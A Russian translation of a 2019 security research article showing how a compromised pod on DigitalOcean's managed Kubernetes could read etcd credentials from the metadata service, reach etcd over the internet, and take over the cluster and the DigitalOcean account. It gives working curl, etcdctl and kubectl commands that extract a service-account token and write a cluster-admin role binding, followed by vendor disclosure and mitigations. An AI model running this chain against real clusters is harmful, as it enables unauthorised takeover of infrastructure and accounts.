31.03.2019

Исследование безопасности облачного сервиса от DigitalOcean

image

Если вы планируете пользоваться этим сервисом, рекомендую учесть все риски и принять соответствующие меры.

Недавно компания DigitalOcean выпустила анонс о том, что сервис управления кластерами на базе Kubernetes доступен всем желающим. Так как мы большие фанаты продукции от DigitalOcean, я решил взглянуть, как обстоит дело с безопасностью нового сервиса по сравнению с другими облачными провайдерами.

Если коротко, то не очень.

Выяснилось, что, скорее всего, сервис реализован с использованием спорных решений. На момент написания статьи, для злоумышленника, скомпрометировавшего один pod (рабочий узел) или, что более вероятно, но намного реже обсуждаемо, нашедшего уязвимость SSRF / XXE, не составляло бы особого труда получить контроль не только на целым кластером, но и над учетной записью платформы DigitalOcean.

Критика чужих проектов никогда не была у меня в приоритете. Я – инженер до мозга костей и всегда уважаю и разделяю позитивные эмоции коллег по цеху после создания новых продуктов и сервисов. На конференции KubeCon EU 2018 один из инженеров компании DigitalOcean рассказывал об архитектуре новой службы, и, надо признать, что создание сервисов подобного уровня – далеко не простая задача.

Я не могу рассказать о деталях разработки этой системы, но меня удивляет, что компания такого уровня как DigitalOcean не смогла предусмотреть очевидные вектора внутренних атак. В голове тут же возникает вопрос о том, проводилось ли вообще хоть какое-то моделирование угроз во время реализации данного проекта? Проводилась ли оценка этих проблем или упоминаемые идеи не рассматривались вовсе? Я не знаю.

Я рассказал специалистам DigitalOcean обо всем, что говорится в этой статье, а поскольку речь не идет об уязвимостях в платформе, было решено вынести найденное на всеобщее обозрение.

Метаданные, метаданные, метаданные

У каждого публичного провайдера облачных решений, с которым я сталкивался, были проблемы, связанные с метаданными. Метаданные хранят детали экземпляра, используемого для облачных вычислений, который обычно доступен через HTTP-службу или локальный адрес внутри сети облачного провайдера. Эта часть является обязательной и, к тому же, довольно элегантным решением, когда вы разворачиваете множество вычислительных узлов из одного образа. Проблема с Kubernetes существует из-за того, что сеть pod’ов обычно находится вне NAT с IP-адресом узла вашего виртуального облака с доступными метаданными.

Большинство провайдеров используют службу метаданных для предоставления учетных записей для bootstrap в компоненте kubelet. По этому вопросу у меня есть отдельная подробная статья. Я даже написал утилиту kubeletmein для облегчения эксплуатации этой темы. Поскольку DigitalOcean ничем не отличается от остальных провайдеров, я добавил поддержку этой платформы в версии 0.6.1.

В случае с DigitalOcean проблема усугубляется еще больше, поскольку, как и в AWS, не требуется специальный заголовок HTTP-запроса для получения информации от службы метаданных. В GKE и Azure такой заголовок требуется, что снижает риск присутствия уязвимостей SSRF и XXE, но эта тема для отдельной статьи.

Хранилище etcd???

Учетные записи для kubelet уже сами по себе стали настораживать. Очень полезны и очень важны, но являются причиной проблем везде, где используются. Однако список, доступный по ссылке http://169.254.169.254/metadata/v1/user-data, удивил меня еще больше:

k8saas_etcd_ca
k8saas_etcd_key
k8saas_etcd_cert

Как видно из названий, в этих параметрах хранятся секретный ключ, обычные сертификаты и сертификат центра сертификации для доступа к etcd.

Причина, по которой эти данные доступны, заключается в том, что на рабочем узле используется утилита flannel для организации сетевого взаимодействия, а этому приложению нужен прямой доступ к etcd. Через консоль на платформе DigitalOcean можно увидеть соответствующий запущенный процесс:

Если вы не особо в курсе дела, то скажу, что Kubernetes представляет собой набор различных процессов, которые в конечном счете используют хранилище ключей для поддержания системы в рабочем состоянии. Этим хранилищем данных и является etcd, а найденные учетные записи, как выяснилось, используются для доступа к etcd напрямую. Помните про систему прав на базе ролей RBAC, которая очень мешает, когда мы пытаемся атаковать Kubernetes? Наша задача сильно облегчается, если есть возможность вносить изменения в etcd напрямую.

Взлом etcd

Вначале я предположил, что подключиться к etcd нужно либо из кластера или, по крайней мере, из сети DigitalOcean. В некоторым смысле ироничным оказалось то, что подключиться к etcd из кластера нельзя, но возможно подключиться через интернет. То есть из любого места. Прямо к службе etcd, работающей на 2379 порту вашего главного узла.

В etcd возможно настроить права доступа на базе ролей, но после того как я подключился напрямую при помощи утилиты etcdctl, то у меня появился полный доступ к чтению и модификации ключей.

А дальше скомпрометировать кластер уже не составляет особого труда. Существует множество способов, но мой любимый – назначить роль cluster-admin для служебной учетной записи, используемой по умолчанию, получить токен для этого аккаунта (обычно внутри pod’а через стандартное монтирование, но в нашем случае напрямую из etcd), а затем при помощи kubectl сделать все остальное.

После некоторых размышлений над структурой последующего изложения я все же решил, что сделаю пошаговую схему. То, о чем я рассказываю, не является чем-то новым, в том числе тема, связанная с компрометированием Kubernetes через etcd. Если вы получили доступ к etcd, то от компрометирования кластера вас отделяют несколько запросов у Гугле. Поэтому я не преследую цели насолить DigitalOcean и не считаю, что эти знания являются сакральными. Так что, поехали…

1. Получение информации из etcd через метаданные

Конечно, существует несколько способов решить эту задачу в зависимости от того, какую уязвимость вы нашли. Я буду просто подключаться к pod’у и использовать cURL для получения информации напрямую:

~ $ curl -qs http://169.254.169.254/metadata/v1/user-data | grep ^k8saas_etcd
k8saas_etcd_ca: "-----BEGIN CERTIFICATE-----\nMIIDJzCCAg+gAwIBAgICBnUwDQYJKoZIhvcNAQELBQAwMzEVMBMREDACTEDCKqW7f2AR5XaWYFsiA==\n-----END CERTIFICATE-----\n"
k8saas_etcd_key: "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEArH2vsEk0XAlFzTdfV7x7ct8ePPsRm+NwItK+ft9KFfquyHSI\nAFo6AeLv31zZ8uapmZcFREDACTEDUFpM2iUlgHCH3sw==\n-----END RSA PRIVATE KEY-----\n"
k8saas_etcd_cert: "-----BEGIN CERTIFICATE-----\nMIIEazCCA1OgAwIBAgICREDACTEDGkp1PuVH3crD2ZdyB\nNmzxYfAVqupWrU9wXwFVGlzKkiOTCVImluhu1LK/Jg==\n-----END CERTIFICATE-----\n"

Сохраните каждое из вышеуказанных значений в файле и замените \n на реальные переносы строк. В редакторе vi должно сработать следующее регулярное выражение: %s/\\n/(Ctrl-V then hit return)/g.

2. Использование etcdutl для получения секретного имени токена служебной учетной записи

Токен стандартного служебного аккаунта будем получать из пространства имен kube-system. В основном потому, что знаем о существовании этого пространства имен.

Также обратите внимание на содержимое параметра k8saas_master_domain_name в метаданных, которое представляет собой публичное имя хоста главного узла в Kubernetes.

Kubernetes использует бинарное кодирование для объектов, хранимых в etcd. Существуют разные способы работы с этими объектами, но самый простой – при помощи утилиты auger, которая использует процедуры из api-machinery для кодирования/декодирования.

Перед началом, экспортируйте переменную ниже и укажите для etcdutl, чтобы использовалась версия 3. Эта версия используется в k8s.

$ export ETCDCTL_API=3

Теперь приступаем к получению имени секрета из etcd. Команда ниже должна запускаться с вашей машины, а не внутри кластера. Нужно лишь поменять параметр endpoints на имя хоста главного узла (параметр k8saas_master_domain_name в метаданных).

$ etcdctl --endpoints=https://ac715f35-2fa8-4ba8-9973-211c07741343.k8s.ondigitalocean.com:2379 \ 
--cacert=ca.crt --cert=etcd.crt --key=etcd.key \
get /registry/serviceaccounts/kube-system/default \
| auger decode -o json | jq -r '.secrets[].name'
default-token-85kf4

3. Получение токена из секрета

$ etcdctl --endpoints=https://ac715f35-2fa8-4ba8-9973-211c07741343.k8s.ondigitalocean.com:2379 \
 --cacert=ca.crt --cert=etcd.crt --key=etcd.key \
 get /registry/secrets/kube-system/default-token-85kf4 \
 | auger decode -o json | jq -r '.data.token' | base64 --decode > do_kube-system_default_token

Теперь токен сохранен в файле do_kube-system_default_token, который вы можете использовать в kubectl. Однако на данный момент у нас нет нужных привилегий.

$ kubectl --server https://ac715f35-2fa8-4ba8-9973-211c07741343.k8s.ondigitalocean.com --token `cat do_kube-system_default_token` get nodes
Error from server (Forbidden): nodes is forbidden: User "system:serviceaccount:kube-system:default" cannot list resource "nodes" in API group "" at the cluster scope

4. Назначение роли cluster-admin на учетную запись kube-system:default

Можно было бы извлечь уже существующий объект ClusterRoleBinding, сделать изменения и сохранить модифицированную версию в etcd. Хотя вероятно более элегантный способ – добавление нового объекта, который можно удалить после того, как вы сделаете все нужное. Мы не будем вдаваться в дебри API, а просто добавим значения creationTimestamp и uid для нового объекта ClusterRoleBinding.

Ниже показана команда для создания нужного файла (предполагается, что установлен uuidgen):

$ export UUID=`uuidgen | tr '[:upper:]' '[:lower:]'`
$ export CREATION_TIMESTAMP=`date -u +%Y-%m-%dT%TZ`
$ cat > forearmed-clusterrolebinding.yaml <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
 creationTimestamp: $CREATION_TIMESTAMP
 name: forearmed:cluster-admin
 uid: $UUID
roleRef:
 apiGroup: rbac.authorization.k8s.io
 kind: ClusterRole
 name: cluster-admin
subjects:
- apiGroup: rbac.authorization.k8s.io
 kind: ServiceAccount
 name: default
 namespace: kube-system
EOF

После выполнение этой команды должен появиться файл forearmed-clusterrolebinding.yaml с нужными переменными. Далее выполняем кодирование и отправляем полученное в etcd.

$ cat forearmed-clusterrolebinding.yaml | auger encode | etcdctl --endpoints=https://ac715f35-2fa8-4ba8-9973-211c07741343.k8s.ondigitalocean.com:2379 --cacert=ca.crt --cert=etcd.crt --key=etcd.key put /registry/clusterrolebindings/forearmed:cluster-admin

5. Результат

Теперь к нашей учетной записи должна быть привязана роль cluster-admin. Проверяем при помощи тех же команд:

$ kubectl --server https://ac715f35-2fa8-4ba8-9973-211c07741343.k8s.ondigitalocean.com --token `cat do_kube-system_default_token` get nodes
NAME              STATUS    ROLES     AGE       VERSION
nifty-bell-3asb   Ready     <none>    8h        v1.12.3
nifty-bell-3asw   Ready     <none>    8h        v1.12.3

Получение контроля над аккаунтом платформы DigitalOcean

В случае полного контроля над кластером мы можем просматривать любые секреты, один из которых привлек мое внимание, а конкретно – digitalocean в пространстве имен kube-system. Выяснилось, что этот секрет используется плагином Container Storage Interface, позволяющим создавать хранилище, зашифрованные тома (Persistent Volume) и так далее.

В DigitalOcean есть концепция под названием Токены персонального доступа, которая позволяет использовать API для настройки учетной записи и требований на вычисление. К сожалению, на момент написания статьи, в DigitalOcean отсутствовали возможности идентификации и управления доступом (IAM) и, соответственно, нельзя было ограничить текущие привилегии. По сути, токен персонального доступа дает права суперпользователя для вашей учетной записи на платформе DigitalOcean.

Токен доступа, хранящийся в параметре digitalocean, позволяет управлять всеми аспектами: работающими дроплетами, запуском новых дроплетов, добавлением SSH-ключей к дроплетам, чтением данных в пространствах и так далее.

Еще более удручает то, что этот токен доступа не указан нигде в вашем аккаунте, и в DigitalOcean знают об этой проблеме. То есть вы ничего не знаете про этот токен, и, соответственно, насколько я могу судить, не можете аннулировать этот токен.

Важно упомянуть, что текущие нововведения, которые стали доступны при создании проектов в DigitalOcean, не предоставляют никаких возможностей по управлению безопасностью. Если у вас есть токен доступа, то вы можете видеть все ресурсы во всех проектах.

В общем, я больше не хочу останавливаться на этом вопросе. Можете скачать утилиту doctl и лично ознакомиться с последствиями владения токеном доступа.

Автоматизация процесса

Я написал утилиту для автоматизации вышеуказанных шагов. Изначально я не планировал выкладывать свое творчество на всеобщее обозрение в основном из-за плохого кода на Go, однако думаю, что этот инструмент может оказаться полезным хотя бы для того, чтобы понять последствия.

Как исправить проблему

А теперь о серьезном. Предполагаю, что вы получили предостаточно информации. Пока еще Kubernetes Network Policy не поддерживается на платформе DigitalOcean из-за использования Flannel для организации сети pod’ов. Я попытался установить Calico в кластере, но по результатам тестирования эта тема оказалась нерабочей. Думаю, потому, что не установлены некоторые опции для kubelet. Вы можете настроить несколько узлов, но эту схему нельзя масштабировать.

У меня получилось настроить Istio. Полноценная сеть микросервисов может оказаться излишней, однако установка Istio может быть уместной по некоторым другим причинам, поэтому следует присмотреться к этому варианту.

В случае установки Istio и включении службы Egress Gateway по умолчанию вы не сможете подключиться к чему-либо вне замкнутой сети сервисов. Если вы попробуете получить доступ к службе метаданных из pod’а, то получите следующее сообщение:

~ $ curl http://169.254.169.254/metadata/v1/user-data
curl: (7) Failed to connect to 169.254.169.254 port 80: Connection refused

На данный момент, насколько я могу судить, этот вариант является самым приемлемым. Чтобы сократить риски, настоятельно рекомендую разворачивать кластеры Kubernetes на платформе DigitalOcean на отдельном аккаунте, иначе вы можете потерять все, если у злоумышленника окажется хотя бы небольшая возможность для проникновения.

Заключение

Построение защищенных систем – непростая задача. Касаемо случая с DigitalOcean возникла мысль о том, что эта компания появилась практически последней на рынке, но не пытается решать возникающие проблемы. Даже быстрое ознакомление с руководством от Гугла GKE Cluster Hardening Guide показывает, что вполне можно предусмотреть хотя бы некоторые моменты, о которых говорилось в этой статье. Если не учиться у тех, кто уже в теме, большого прогресса не будет.

Вот несколько ключевых моментов, на которые, как мне кажется, компании DigitalOcean следует обратить внимание:

1. В самое ближайшее время добавить сетевую политику и не только из-за найденной проблемы, а потому, что внутри кластера Kubernetes у каждого есть доступу ко всему.

2. Удалить из метаданных учетную запись для etcd. Возможно, перейти с Flannel на сетевой плагин, который поддерживает Kubernetes API.

3. Отключить доступ к etcd через интернет, необходимость в котором, после изменения сетевой модели, скорее всего, отпадет.

4. Если etcd все же нужен, внедрить RBAC, чтобы у учетных записей не было полного доступа к хранилищу. Указать только префикс /kubernetes/network, который нужен.

5. Добавить ограничения для токенов доступа к API. Что-то похожее на то, как реализовано в GitHub. А в идеале – полноценная система идентификации и управления доступом (IAM).

6. Служба метаданных должна быть доступна только через специальный заголовок HTTP-запроса (см. Metadata-Flavor, используемый в облачном сервисе Гугла).

К сожалению, на мой взгляд, реализовать вышеуказанное вряд ли получится в сжатые сроки. Кроме пункта 6 я не видел похожих проблем у других публичных провайдеров, предоставляющих облачные решения на базе Kubernetes. В общем, мне очень досадно, учитывая весь предыдущий очень позитивный опыт работы с продукцией DigitalOcean.

Компания DigitalOcean делает фантастическую работу по упрощению жизни разработчикам, когда можно развернуть сложную архитектуру в несколько кликов в удобном интерфейсе или через API. За последние два года эти ребята сделали большой шаг в области безопасности, включая сертификацию на соответствие разным стандартам. Однако простота не должна идти в разрез с безопасностью.

Важно отменить, что пока еще не обнаружены внешние уязвимости в этом сервисе. Чтобы скомпрометировать кластер, должна быть брешь в приложении, которую затем можно использовать для эксплуатации недочетов в архитектуре. Однако, как мы регулярно наблюдаем во время пентестов, подобного рода проблемы на удивление распространены.

Я уверен, что все найденные проблемы будут устранены. Сервис пока еще молодой и хотя уже доступен всем желающим, включая новых пользователей, но пока еще находится в стадии «Ограниченной доступности». Однако я удивлен, что эти проблемы не были обнаружены во время еще большего ограничения доступности. Я не знаю, проводились ли, если вообще проводились, аудиты безопасности (интересно, что про подобные аудиты ничего не сказано в программе Bug Bounty), однако подобного рода проблемы довольно легко обнаружить.

Представители DigitalOcean сказали, что будет проведен внутренний аудит. Инженер, с которым я разговаривал, упоминал, что «Ограниченная доступность» является причиной отсутствия некоторых функций и сетевой политики, которые будут реализованы, когда сервис перейдет в статус «Общей доступности».

Если вы планируете пользоваться этим сервисом, рекомендую учесть все риски и принять соответствующие меры.